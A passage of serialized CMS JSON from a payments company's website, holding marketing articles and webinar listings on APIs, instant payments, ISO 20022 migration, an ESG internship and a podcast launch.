APIs.",[],"rich_text$aac36663-aa40-429a-afcf-e11e9e2ee9aa",{"variation":437,"version":438,"items":24527,"primary":24528,"id":24565,"slice_type":468,"slice_label":5},[],{"body":24529},[24530,24533,24536,24539,24542,24545,24548,24553,24556,24559,24562],{"type":746,"text":24531,"spans":24532},"Moving Away From the Inefficiencies",[],{"type":25,"text":24534,"spans":24535},"Traditionally, she said, banks have had “no choice” but to create separate, multiple points on integration into various payment schemes, examining and fine-tuning a broad range of payments schemes and notifications — while creating redundant systems to handle all that data.",[],{"type":25,"text":24537,"spans":24538},"With APIs, said Schekermans, “the technical lift is so much easier than the old-fashioned documentation that you get where you have interface specs, functional specs, and all these things you have to plow through” to keep banks up and running, and connected to a particular payments scheme.",[],{"type":25,"text":24540,"spans":24541},"As the API ecosystem continues to expand, she told PYMNTS, FIs need to “investigate, gain clarity and knowledge about what is out there and to really talk to a diverse set of providers and organizations and step out of your comfort zone a little and talk to more than just the usual suspects.”",[],{"type":25,"text":24543,"spans":24544},"One way to embrace APIs’ advantages more quickly is for FIs to partner with providers, Form3 among them, to gain access to a “single stack API” that allows for an agnostic approach to capturing and delivering message-rich data payment messages, rather than linking into each payment scheme separately, with the technical heaving lifting done in house.",[],{"type":25,"text":24546,"spans":24547},"By leveraging APIs, FIs can reduce project and run costs, increase scalability and enhance resilience, she told PYMNTS — and those attributes will become paramount as consumers and businesses demand faster payments and greater transparency into fund flows.",[],{"type":25,"text":24549,"spans":24550},"The conversation came against the backdrop of the recent launch of FedNow in the United States, where the general banking landscape has been defined as one that houses multiple services for payments, lacking interoperability between systems. Schekermans suggested that by taking advantage of agnostic approaches and the opportunities that APIs provide, banks can avoid creating multiple integrations and separate message flows, and instead focus on creating a single set of operations and back-end processes.",[24551],{"start":2397,"end":3089,"type":489,"data":24552},{"link_type":491,"url":14982,"target":493},{"type":25,"text":24554,"spans":24555},"“APIs are like any message form or syntax,” said Schekermans. “The technology itself is not a silver bullet, but the key lies in how you apply them.”",[],{"type":25,"text":24557,"spans":24558},"In seeking to offer up a continuum of end-user-facing services and products, developers have been seeking ways to streamline processes, future-proof their systems and drive innovation. APIs aid those efforts by reducing cycle time, improving security and enhancing productivity.",[],{"type":25,"text":24560,"spans":24561},"Among the key advantages of APIs is the transparent control they provide over data exposure, leading to improved data security, while underpinning the widening embrace of faster payments.",[],{"type":25,"text":24563,"spans":24564},"Looking ahead, she said, as banks confront the limitations of their legacy technology systems and the need for speed as instant payments become an expectation, APIs address both sets of challenges for banks “and will create more progress in the payments industry.”",[],"rich_text$da619b84-53b2-40ec-9129-28034deef5c2",{"variation":437,"version":438,"items":24567,"primary":24568,"id":24575,"slice_type":468,"slice_label":5},[],{"body":24569},[24570],{"type":25,"text":14790,"spans":24571},[24572],{"start":9799,"end":1131,"type":489,"data":24573},{"link_type":491,"url":24574,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fapi\u002F2023\u002Fapis-revolutionize-connectivity-for-fis-and-set-stage-for-real-time-payments-success\u002F","rich_text$186dd10f-4270-4cf9-aa64-1cf8ffd1e280",{"id":24577,"uid":24578,"type":3743,"data":24579},"alzytBEAAC4AUWG6","pymnts-tough-questions-taking-a-proactive-approach-to-instant-payments-risks-and-rewards",{"title":24580,"excerpt":24581,"card_image":24582,"published_date":24587,"reading_time":9211,"tag":6178,"dek":5,"featured_image":24588,"about_form3":24593,"client_about_heading":5,"client_about_body":24594,"author_name":5,"author_title":5,"author_photo":24595,"author_bio":24596,"author_linkedin":24597,"slices":24598,"meta_title":24580,"meta_description":24581},"PYMNTS Tough Questions: Taking a Proactive Approach to Instant Payments’ Risks and Rewards","As the financial industry continues to evolve, instant payments are revolutionizing how transactions are conducted, demanding immediate adaptation to stay competitive. Don't let your institution lag in the race towards financial innovation. Watch the webinar replay here and arm yourself with the knowledge to lead in the era of instant payments.",{"dimensions":24583,"alt":14697,"copyright":5,"url":24584,"id":24585,"edit":24586},{"width":412,"height":412},"\u002F_prismic-media\u002F63dbe7f6ebe05d77-Tp0r2kJRn805piRo_pymnts-tough-questions-taking-a.jpg","Tp0r2kJRn805piRo",{"x":398,"y":398,"zoom":399,"background":650},"2024-03-07",{"dimensions":24589,"alt":14697,"copyright":5,"url":24590,"id":24591,"edit":24592},{"width":501,"height":646},"\u002F_prismic-media\u002Fd4178db931f3e88b-iecowOIJdR1vljoe_ef351dce-eb4f-41f5-8956-4a2c127.png","iecowOIJdR1vljoe",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[24599,24610],{"variation":437,"version":438,"items":24600,"primary":24601,"id":24609,"slice_type":468,"slice_label":5},[],{"body":24602},[24603,24606],{"type":25,"text":24604,"spans":24605},"As the financial industry continues to evolve, instant payments are revolutionizing how transactions are conducted, demanding immediate adaptation to stay competitive. Don't let your institution lag in the race towards financial innovation. ",[],{"type":25,"text":24607,"spans":24608},"Watch the webinar replay here and arm yourself with the knowledge to lead in the era of instant payments.",[],"rich_text$46930038-e00f-4136-ba33-6a94a0240c4f",{"variation":437,"version":438,"items":24611,"primary":24612,"id":24632,"slice_type":468,"slice_label":5},[],{"body":24613},[24614,24616,24620,24624,24628],{"type":746,"text":21602,"spans":24615},[],{"type":3373,"text":24617,"spans":24618},"Cory Barnes, Senior Product Manager\nFORM3",[24619],{"start":398,"end":602,"type":593},{"type":3373,"text":24621,"spans":24622},"Miyoshi Lee, Head of US Real-Time Payments \nBANK OF AMERICA",[24623],{"start":398,"end":602,"type":593},{"type":3373,"text":24625,"spans":24626},"Aaron Steinitz, Senior Vice President - Enterprise Fraud Policy & Governance \nM&T BANK",[24627],{"start":398,"end":2987,"type":593},{"type":3373,"text":24629,"spans":24630},"Austin Prey, Senior Reporter\nPYMNTS",[24631],{"start":398,"end":602,"type":593},"rich_text$b456931e-8579-44c8-bff9-96af25e236e0",{"id":24634,"uid":24635,"type":3743,"data":24636},"alz0BxEAAC4AUWTf","meet-form3s-esg-intern",{"title":24637,"excerpt":24638,"card_image":24639,"published_date":2629,"reading_time":643,"tag":3751,"dek":24638,"featured_image":24644,"about_form3":24645,"client_about_heading":5,"client_about_body":24646,"author_name":5,"author_title":5,"author_photo":24647,"author_bio":24648,"author_linkedin":24649,"slices":24650,"meta_title":24637,"meta_description":24638},"Meet Form3's ESG Intern","Sophie Manners provides insight into her journey and mission as an ESG Intern at Form3.",{"dimensions":24640,"alt":24637,"copyright":5,"url":24641,"id":24642,"edit":24643},{"width":412,"height":412},"\u002F_prismic-media\u002F27a7c609df87324f-id9NKSqz4LwFP-BN_meet-form3s-esg-intern.png","id9NKSqz4LwFP-BN",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[24651],{"variation":437,"version":438,"items":24652,"primary":24653,"id":24684,"slice_type":468,"slice_label":5},[],{"body":24654},[24655,24658,24661,24664,24668,24671,24675,24678,24681],{"type":25,"text":24656,"spans":24657},"My name is Sophie; and this summer, I am working as an ESG Intern at Form3.",[],{"type":25,"text":24659,"spans":24660},"ESG stands for Environment, Social and Governance, and is a set of factors used to measure a businesses’ impact on society, the environment and their transparency and accountability. It measures how a company integrates environmental, social and governance practices into operations, as well as into their business model. ",[],{"type":25,"text":24662,"spans":24663},"I was first introduced to ESG whilst studying Geology and Physical Geography at University. We learnt about ESG as a strategy which could be used by companies to align themselves with the Paris Agreement’s aim of keeping global temperature rise below 2°C. During my studies, I learnt about different aspects of climate change from climate modelling to paleoclimatology and I quickly realised that it was a subject I’m passionate about. Before continuing my studies, I wanted to do an internship to see what a career in the field of climate change could look like, and to gain first-hand experience of ESG in business. ",[],{"type":25,"text":24665,"spans":24666},"Starting the journey",[24667],{"start":398,"end":7460,"type":593},{"type":25,"text":24669,"spans":24670},"I’m about halfway through my internship now and feeling a lot more confident. But when I first started, I was nervous that I didn’t have all the knowledge. I’d studied climate change and sustainability, but my understanding of payment technology was limited. I was also excited as I knew that working with a company already passionate about their environmental impact but relatively early on in their journey towards sustainability meant an opportunity to make a real difference. I soon realised that this would be a collaborative project, with lots of opportunities to gain knowledge from colleagues from a range of teams. ",[],{"type":25,"text":24672,"spans":24673},"My mission at Form3 ",[24674],{"start":398,"end":7460,"type":593},{"type":25,"text":24676,"spans":24677},"Form3 hasn’t collected a lot of data around its environmental impact to date, but encourages remote working, carbon offsetting for business travel and uses energy efficient office utilities. My first objective has been to calculate our carbon footprint and understand where we have the greatest environmental impact. Gathering data and analysing data around our environmental impact will enable us to implement strategies to reduce and offset our impact. The data I collect will include data that relates the company’s use of data centres, office space, travel, renewable energy sources, waste management, pollution, and its actions around climate change issues. ",[],{"type":25,"text":24679,"spans":24680},"With this in hand, and analysis completed, I’ll be responsible for proposing the strategies we should be taking to address our impact - which I have to say, is a very exciting project for my first job in the corporate world! ",[],{"type":25,"text":24682,"spans":24683},"My project gives me the feeling that I’m not “just an intern” but that I’m genuinely contributing to the future of ESG and ESG reporting at Form3!",[],"rich_text$161f8ee3-4edc-42ab-a19d-8abe3b07e445",{"id":24686,"uid":24687,"type":3743,"data":24688},"alzzNREAACkAUWLk","why-2025-may-not-be-enough-time-to-hit-iso-20022-transition-deadline",{"title":24689,"excerpt":24690,"card_image":24691,"published_date":24697,"reading_time":418,"tag":5813,"dek":24698,"featured_image":24699,"about_form3":24704,"client_about_heading":5,"client_about_body":24705,"author_name":5,"author_title":5,"author_photo":24706,"author_bio":24707,"author_linkedin":24708,"slices":24709,"meta_title":24689,"meta_description":24690},"Why 2025 May Not Be Enough Time to Hit ISO 20022 Transition Deadline","Laura Sullivan, senior product manager at Form3, said that ISO 2022 has been discussed for the past several years and exists, she said, “as a wealth of well-structured” information that will foster a variety of new payments use cases among banks and FinTechs as they seek to innovate their offerings for enterprise clients and consumers. Now the transition, and a host of deadlines, loom.",{"dimensions":24692,"alt":24693,"copyright":5,"url":24694,"id":24695,"edit":24696},{"width":412,"height":412},"ISO 20022","\u002F_prismic-media\u002F1f1eba9f923c192d-iUJMrmZZslPp3_He_why-2025-may-not-be-enough-time.png","iUJMrmZZslPp3_He",{"x":398,"y":398,"zoom":399,"background":400},"2023-06-22","The move to streamline and speed domestic and cross-border payments is rooted in better data exchange.The financial services industry has been readying itself, and in some cases has found itself less-than-ready, to embrace ISO 20022, the global messaging standard that structures payments data, automates some functions and improves fraud prevention efforts.Here in the States, the Fedwire Funds Service is migrating to ISO 20022 in March 2025.Laura Sullivan, senior product manager at Form3, said that ISO 2022 has been discussed for the past several years and exists, she said, “as a wealth of well-structured” information that will foster a variety of new payments use cases among banks and FinTechs as they seek to innovate their offerings for enterprise clients and consumers. Now the transition, and a host of deadlines, loom.",{"dimensions":24700,"alt":24693,"copyright":5,"url":24701,"id":24702,"edit":24703},{"width":501,"height":646},"\u002F_prismic-media\u002Fc585724e2723e761-PlGjV01W_tsHvpfH_ef351dce-eb4f-41f5-8956-4a2c127.png","PlGjV01W_tsHvpfH",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[24710,24718,24729,24776],{"variation":437,"version":438,"items":24711,"primary":24712,"id":24717,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":24713,"caption":5},{"embed_url":24714,"provider_name":283,"provider_url":2050,"title":24689,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":24715,"html":24716},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=YdeU2JywGt0","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FYdeU2JywGt0\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FYdeU2JywGt0?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Why 2025 May Not Be Enough Time to Hit ISO 20022 Transition Deadline\">\u003C\u002Fiframe>","embed$ce1b070b-5f0b-4996-87b6-3168eaaaa7da",{"variation":437,"version":438,"items":24719,"primary":24720,"id":24728,"slice_type":468,"slice_label":5},[],{"body":24721},[24722,24725],{"type":25,"text":24723,"spans":24724},"There are already some examples out there to be gleaned from the successes seen in other countries, said Sullivan. She pointed to one use case in Canada, where a relatively small company was able to save several hundred thousand dollars a year by using the data available with ISO 20022 to “tweak and fine-tune” their accounts payable and receivable processes.",[],{"type":25,"text":24726,"spans":24727},"Banks, she said, have been changing from existing messaging formats to ISO 20022 — or have even been implementing brand new systems to support the demands of the new standards that will support TCH’s Real-Time Payments and FedNow.",[],"rich_text$bf2298a7-e247-4431-9cab-efe7b05c6e8b",{"variation":437,"version":438,"items":24730,"primary":24731,"id":24775,"slice_type":468,"slice_label":5},[],{"body":24732},[24733,24736,24739,24742,24745,24748,24751,24754,24757,24763,24766,24769,24772],{"type":746,"text":24734,"spans":24735},"Getting Ready for the Messaging Transformation",[],{"type":25,"text":24737,"spans":24738},"But for right now, the race is on to get ready. The Fedwire messaging formats have remained unchanged for decades.",[],{"type":25,"text":24740,"spans":24741},"“I was looking at a document that was dated from 1997,” Sullivan told PYMNTS, “and the format was relatively the same as what’s seen today. So it’s a huge change for the industry to move to ISO 20022.”",[],{"type":25,"text":24743,"spans":24744},"There’s some headway being made, according to Sullivan. She noted that many banks in the U.S. are getting their feet wet with SWIFT, which now supports ISO. “This will be a catalyst for banks to step back and say ‘I don’t want to keep patching my SWIFT system and my Fedwire system and my RTP system and my FedNow system. Isn’t there a better way to do this?’” ",[],{"type":25,"text":24746,"spans":24747},"The challenge toward getting fully onboard with ISO 20022 is compounded by the fact that the data that needs to be ported over to ISO is not done on a “one-to-one” field basis. As Sullivan explained, as many as 2,000 different fields and elements need to be considered.",[],{"type":25,"text":24749,"spans":24750},"“And we are finding that there is some data where there really isn’t a great place to put it into an ISO format,” she said. There’s also a challenge down the line that stems from the fact that payments practice groups will mandate structured addresses. ",[],{"type":25,"text":24752,"spans":24753},"Those mandates will prove to be a huge hurdle in the U.S., she said, because most of the addresses that are provided in wire transfers — particularly on the origination side — come from customer demand deposit systems, which don’t understand structured addresses.  ",[],{"type":25,"text":24755,"spans":24756},"“The banks are going to have to step back and look at how they can take a demand deposit system which has eight lines of address and put it into some sort of structured format,” said Sullivan. Upon doing so, she said, such standardization will wind up as a benefit to sanctions screening and scanning, identifying addresses and countries that warrant further review or even outright red flags for transactions.",[],{"type":25,"text":24758,"spans":24759},"To take advantage of the ultimate benefit that comes from the whole world (eventually) adhering to the same messaging format — where an instant payment can move via the RTP Network or FedNow, where ACH payments move toward instant payments rails, banks need to look for solutions and providers that can service multiple rails so that the FIs don’t have to navigate themselves. One approach is taking the steps necessary to eventually shift to ISO 20022. No easy task, considering that even in a mid-sized bank, as many as 200 internal systems can be impacted by the move to ISO standards. ",[24760],{"start":13573,"end":3774,"type":489,"data":24761},{"link_type":491,"url":24762,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Ftag\u002Frtp-network\u002F",{"type":25,"text":24764,"spans":24765},"“If you can start it all, and partner with someone who can put all of this information into an ISO format,” she said, “it’s a lot easier.” APIs can help make that transition, said Sullivan, as those single points of integration can work across multiple rails. APIs are high-performance, high volume, resilient and do not require banks to “queue” their payments.",[],{"type":25,"text":24767,"spans":24768},"She said the readiness is there, as banks have overcome any real fear of putting payments in the cloud and don’t have to wage the battle of ripping out existing bank infrastructure.",[],{"type":25,"text":24770,"spans":24771},"Looking ahead, she said, banks will cease having “hard and fast lines between different payment types.” Using an API to talk to networks means that banks can break down the silos within their own operations, creating de facto payment hubs where the same internal functions can work across various payment types.",[],{"type":25,"text":24773,"spans":24774},"“Being able to have the same process for dealing with insufficient funds, fraud checking, sanctions checking — all of that with one set of interfaces to your posting systems, to your sanction systems, to your fraud systems…we see that as the future,” she told PYMNTS.",[],"rich_text$d1f17477-8a86-4a1a-8fbc-88e1146b882b",{"variation":437,"version":438,"items":24777,"primary":24778,"id":24785,"slice_type":468,"slice_label":5},[],{"body":24779},[24780],{"type":25,"text":14790,"spans":24781},[24782],{"start":9799,"end":1131,"type":489,"data":24783},{"link_type":491,"url":24784,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Fpayment-methods\u002F2023\u002Fwhy-2025-may-not-be-enough-time-to-hit-iso-20022-transition-deadline\u002F","rich_text$0a1f0f77-0f34-4af9-ad17-2b179869f349",{"id":24787,"uid":24788,"type":3743,"data":24789},"alzy_xEAACoAUWJo","gated-content-pymnts-livestream-interoperability",{"title":24790,"excerpt":24791,"card_image":24792,"published_date":24797,"reading_time":10399,"tag":6178,"dek":5,"featured_image":24798,"about_form3":24803,"client_about_heading":5,"client_about_body":24804,"author_name":5,"author_title":5,"author_photo":24805,"author_bio":24806,"author_linkedin":24807,"slices":24808,"meta_title":24790,"meta_description":24814},"Interoperability: What will it take to connect global instant schemes?","Beyond the messaging standards, ISO 20022, and the ongoing efforts to incorporate instant payment schemes in the US, what should financial institutions be doing to get ready for the eventuality where instant payments schemes are “linked” to speed and improve international payments? Watch our recent session on demand as Hal Levey, Senior Editor at PYMNTS, moderates a discussion among industry experts from Form3, PNC and KeyBank.",{"dimensions":24793,"alt":14697,"copyright":5,"url":24794,"id":24795,"edit":24796},{"width":412,"height":412},"\u002F_prismic-media\u002F1176726b6b590cce-hsdY_5lBlqKVbkHL_gated-content-pymnts-livestream.jpg","hsdY_5lBlqKVbkHL",{"x":398,"y":398,"zoom":399,"background":650},"2023-09-08",{"dimensions":24799,"alt":14697,"copyright":5,"url":24800,"id":24801,"edit":24802},{"width":501,"height":646},"\u002F_prismic-media\u002Fe223ff30dd5b7c27-xJUJljGJtYUj2OZW_ef351dce-eb4f-41f5-8956-4a2c127.png","xJUJljGJtYUj2OZW",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[24809,24817],{"variation":437,"version":438,"items":24810,"primary":24811,"id":24816,"slice_type":468,"slice_label":5},[],{"body":24812},[24813],{"type":25,"text":24814,"spans":24815},"As global real-time transaction volumes continue to rise the potential of 'connected' instant schemes is seen as the next stage in this journey. So, what are the technologies needed to make this a reality? What can we learn from competing domestic schemes like TCH and FedNow? And how do APIs hold the key to being able to truly process these payments instantly?",[],"rich_text$f1c3d19d-674a-4609-9784-399c7c669015",{"variation":437,"version":438,"items":24818,"primary":24819,"id":24839,"slice_type":468,"slice_label":5},[],{"body":24820},[24821,24823,24827,24831,24835],{"type":746,"text":21602,"spans":24822},[],{"type":3373,"text":24824,"spans":24825},"Dave Scola, Chief Executive - US\nFORM3",[24826],{"start":398,"end":905,"type":593},{"type":3373,"text":24828,"spans":24829},"Sarah Billings, SVP and Head of Payments & International Product, Operations and Transformation\nPNC",[24830],{"start":398,"end":2987,"type":593},{"type":3373,"text":24832,"spans":24833},"Dan Williams, SVP and Head of Embedded Banking \nKEYBANK",[24834],{"start":398,"end":2707,"type":593},{"type":3373,"text":24836,"spans":24837},"Hal Levey, Senior Editor \nPYMNTS",[24838],{"start":398,"end":1355,"type":593},"rich_text$dd73ff93-8e0d-4abd-9e6d-31c91619301c",{"id":24841,"uid":24842,"type":3743,"data":24843},"alzySBEAACkAUWC7","form3-launches-new-podcast-payments-cannot-fail",{"title":24844,"excerpt":24845,"card_image":24846,"published_date":24851,"reading_time":418,"tag":24852,"dek":24853,"featured_image":24854,"about_form3":24859,"client_about_heading":5,"client_about_body":24860,"author_name":5,"author_title":5,"author_photo":24861,"author_bio":24862,"author_linkedin":24863,"slices":24864,"meta_title":24844,"meta_description":24845},"Form3 launches new podcast, ‘Payments Cannot Fail’","Form3 is pleased to announce the launch of our new podcast Payments Cannot Fail. Hosted by our CRO Mark Fieldhouse, the podcast will take a deep dive into different areas that impact the payments industry and the banks and fintechs that rely on it, from the key challenges, to the importance of resilience, to the differences between the UK, European and US approach.",{"dimensions":24847,"alt":24844,"copyright":5,"url":24848,"id":24849,"edit":24850},{"width":412,"height":412},"\u002F_prismic-media\u002F50d7ffd349900d54-1b8vcDdkQOlW0aVp_form3-launches-new-podcast-paym.png","1b8vcDdkQOlW0aVp",{"x":398,"y":398,"zoom":399,"background":400},"2026-03-09","Podcast","Form3 is pleased to announce the launch of our new podcast, ‘Payments Cannot Fail’.",{"dimensions":24855,"alt":413,"copyright":5,"url":24856,"id":24857,"edit":24858},{"width":501,"height":646},"\u002F_prismic-media\u002F177e634f4b0f6f83-me1p_hlLdcLdVVi5_aBCz_vIqRLdaBtH-_Form3_SEO_Ligh.jpg","me1p_hlLdcLdVVi5",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[24865,24888],{"variation":437,"version":438,"items":24866,"primary":24867,"id":24887,"slice_type":468,"slice_label":5},[],{"body":24868},[24869,24872,24875,24878,24881],{"type":746,"text":24870,"spans":24871},"Inside the Podcast",[],{"type":25,"text":24873,"spans":24874,"direction":445},"Hosted by our CRO Mark Fieldhouse, the podcast will take a deep dive into different areas that impact the payments industry and the banks and fintechs that rely on it, from the key challenges, to the importance of resilience, to the differences between the UK, European and US approach.",[],{"type":25,"text":24876,"spans":24877,"direction":445},"In the first episode, Mark sits down with our CEO and co-founder Mike Walters to discuss why Form3 exists and the challenges it was set up to solve. This discussion focuses on the critical need for payments to work, identifying the critical role of these movements of money for consumers, businesses and the global economic system.",[],{"type":25,"text":24879,"spans":24880,"direction":445},"Mike explores why Form3 exists and the key problems its software solves for banks and fintechs dealing with high payment volumes on a day-to-day basis.",[],{"type":25,"text":24882,"spans":24883,"direction":445},"Listen to the full episode here and stay tuned for future episodes of Why Payments Cannot Fail, focusing on topics including the US drive to instant payments, how banks can prepare for stablecoins and the rising risk of single-cloud dependency for payments.",[24884],{"start":3485,"end":690,"type":489,"data":24885},{"link_type":491,"url":24886,"target":493},"https:\u002F\u002Fyoutu.be\u002FV2RqAiH7XmY","rich_text$89e71ccd-cacb-4a4d-8bdb-6c68d5f15e05",{"variation":437,"version":438,"items":24889,"primary":24890,"id":24897,"slice_type":2058,"slice_label":5},[],{"headline":24891,"sub_headline":24892,"embed":24893,"caption":5},"Episode 1: The Problem Beneath the Problem | Payments Cannot Fail ft. Mike Walters","In the first episode of Payments Cannot Fail, host Mark Fieldhouse sits down with Form3 CEO and co-founder Mike Walters to explore why Form3 exists, and the fundamental challenges it was built to solve. They discuss the critical role payments play for consumers, businesses and the global economy, and why resilience is not optional in modern financial infrastructure.",{"embed_url":24894,"provider_name":283,"provider_url":2050,"title":24891,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":24895,"html":24896},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=V2RqAiH7XmY","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FV2RqAiH7XmY\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FV2RqAiH7XmY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Episode 1: The Problem Beneath the Problem | Payments Cannot Fail ft. Mike Walters\">\u003C\u002Fiframe>","embed$ef93dcb9-776d-4dac-9791-db39a21fd343",{"id":24899,"uid":24900,"type":3743,"data":24901},"alzy-xEAAC0AUWJf","panel-real-time-ubiquity-and-connectivity-turn-payments-into-satisfaction-tools",{"title":24902,"excerpt":24903,"card_image":24904,"published_date":3465,"reading_time":418,"tag":5813,"dek":24909,"featured_image":24910,"about_form3":24915,"client_about_heading":5,"client_about_body":24916,"author_name":5,"author_title":5,"author_photo":24917,"author_bio":24918,"author_linkedin":24919,"slices":24920,"meta_title":24902,"meta_description":25040},"Panel: Real-Time Ubiquity and Connectivity Turn Payments Into ‘Satisfaction Tools’","Real-time payments schemes are proliferating around the globe. Getting them to work in sync and breaking down the silos that exist between countries will be key to helping faster payments scale across a variety of commercial and consumer-facing use cases. Learn from Dave Scola, CEO for the U.S. at Form3, Sarah Billings, Senior Vice President, Head of Payments and International Product Operations and Transformation at PNC, and Dan Williams, Senior Vice President, Head of Embedded Banking at KeyBank as they talk to PYMNTS.",{"dimensions":24905,"alt":16524,"copyright":5,"url":24906,"id":24907,"edit":24908},{"width":412,"height":412},"\u002F_prismic-media\u002Fc22e3f9fa4dbb891-sHx0rQVhl7eG-7XZ_panel-real-time-ubiquity-and-co.png","sHx0rQVhl7eG-7XZ",{"x":398,"y":398,"zoom":399,"background":400},"Real-time payments schemes are proliferating around the globe.Getting them to work in sync and breaking down the silos that exist between countries will be key to helping faster payments scale across a variety of commercial and consumer-facing use cases, a trio of payments experts told PYMNTS.",{"dimensions":24911,"alt":16524,"copyright":5,"url":24912,"id":24913,"edit":24914},{"width":501,"height":646},"\u002F_prismic-media\u002F604c27961afed2f9-WC_U5EhShXZyf0xq_ef351dce-eb4f-41f5-8956-4a2c127.png","WC_U5EhShXZyf0xq",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[24921,24954,24974,24994,25030],{"variation":437,"version":438,"items":24922,"primary":24923,"id":24953,"slice_type":468,"slice_label":5},[],{"body":24924},[24925,24947,24950],{"type":25,"text":24926,"spans":24927},"Panelists included Dave Scola, CEO for the U.S. at Form3, Sarah Billings, Senior Vice President, Head of Payments and International Product Operations and Transformation at PNC, and Dan Williams, Senior Vice President, Head of Embedded Banking at KeyBank.",[24928,24930,24932,24935,24939,24943],{"start":6262,"end":871,"type":489,"data":24929},{"link_type":491,"url":11378,"target":493},{"start":1250,"end":4889,"type":489,"data":24931},{"link_type":491,"url":2713,"target":493},{"start":9203,"end":1797,"type":489,"data":24933},{"link_type":491,"url":24934,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fsarah-billings-8703964\u002F",{"start":24936,"end":11749,"type":489,"data":24937},173,{"link_type":491,"url":24938,"target":493},"https:\u002F\u002Fwww.pnc.com\u002Fen\u002Fcorporate-and-institutional.html?lnksrc=topnav",{"start":18514,"end":24940,"type":489,"data":24941},194,{"link_type":491,"url":24942,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fdanwilliamsprofile\u002F",{"start":9373,"end":24944,"type":489,"data":24945},254,{"link_type":491,"url":24946,"target":493},"https:\u002F\u002Fwww.key.com\u002Fpersonal\u002Findex.html",{"type":25,"text":24948,"spans":24949},"As Williams noted, “the numbers around international trade are pretty staggering.” Trillions of dollars flow across the globe as enterprises pay one another, as buyers pay suppliers. And yet, he noted, traditional payment systems are “not that friendly when it comes to delivery of funds, predictability of funds and reconciliation.” Financial institutions (FIs), he added, need to help those client firms deliver money more efficiently in order to improve the performance of supply chains, and to improve consumer payments, too.",[],{"type":25,"text":24951,"spans":24952},"Billings added that scores of countries around the globe have invested in their own immediate payments infrastructure. As those countries have perfected the real-time movement of funds, and have removed friction from the process, she said, “why wouldn’t we take what we’ve done in each of our sandboxes and link them together to get an even bigger global benefit?”",[],"rich_text$4e5a138f-0351-403a-be37-145766d11a72",{"variation":437,"version":438,"items":24955,"primary":24956,"id":24973,"slice_type":468,"slice_label":5},[],{"body":24957},[24958,24961,24964,24967],{"type":746,"text":24959,"spans":24960},"No Longer a Back-End Function",[],{"type":25,"text":24962,"spans":24963},"As payments become more immediate, she said, they no longer can be thought of as a back-end function, sent from an ERP system in a file. Payments can now be pushed to the front end, and used as something new — in her words, “a satisfaction tool.”",[],{"type":25,"text":24965,"spans":24966},"That global benefit, added Scola, can finally become a reality. At least as far as the technical aspects of instant payments are concerned.",[],{"type":25,"text":24968,"spans":24969},"“We wouldn’t have even had a consideration of this topic 15 years ago,” said Scola. But the harmonization of data standards, around ISO 20022, he said, have changed the conversation about faster cross border payments, and fostered “a heightened interest in seeing what we can do in that space.”",[24970],{"start":10343,"end":13494,"type":489,"data":24971},{"link_type":491,"url":24972,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Fbanking\u002F2023\u002F2023-looms-as-big-year-for-iso-20022-according-to-wells-fargo\u002F","rich_text$b7ff0e22-cb2e-4622-90aa-940eac5e8fea",{"variation":437,"version":438,"items":24975,"primary":24976,"id":24993,"slice_type":468,"slice_label":5},[],{"body":24977},[24978,24981,24984,24987,24990],{"type":746,"text":24979,"spans":24980},"Grappling With Complexity",[],{"type":25,"text":24982,"spans":24983},"But the panelists agreed that beyond the technical routing of the payments themselves, complexity is still in the mix, as there is as of yet no overarching set of rules governing security, know your customer (KYC) and regulations in general.",[],{"type":25,"text":24985,"spans":24986},"The U.S. is a bit different, as the discussion among panelists covered, because now there are two real-time payments rails (the FedNow service and The Clearing House’s RTP network), but there can be some lessons learned in the states from other parts of the globe where instant payments have more firmly taken root. Ubiquity will be key, as RTP and the FedNow service must in turn, become interoperable, too.",[],{"type":25,"text":24988,"spans":24989},"Said Scola, “The industry will need to coalesce around this a common framework, a common set of expectations around how the technical and integral components” will work in concert. But in the meantime, there are still, in Billings’ words, “enormous swaths” of transactions that can be more efficiently handled across the globe as banks help corporates focus on the best payment options available and the attributes of the transactions that are most pressing, such as irrevocability, final confirmation and traceability. Ideally, there should be the ability to mix and match a range of payments, across real time and legacy rails, depending on the use case.",[],{"type":25,"text":24991,"spans":24992},"As Williams noted, “you’ve got to think about the enablement ecosystem around these payment rails. It’s not just about a bank-to-bank transfer, it’s about a customer’s experience.”",[],"rich_text$0cc375b1-b7d1-4213-892c-81205b6fcf17",{"variation":437,"version":438,"items":24995,"primary":24996,"id":25029,"slice_type":468,"slice_label":5},[],{"body":24997},[24998,25001,25004,25011,25014,25017,25026],{"type":746,"text":24999,"spans":25000},"Taking 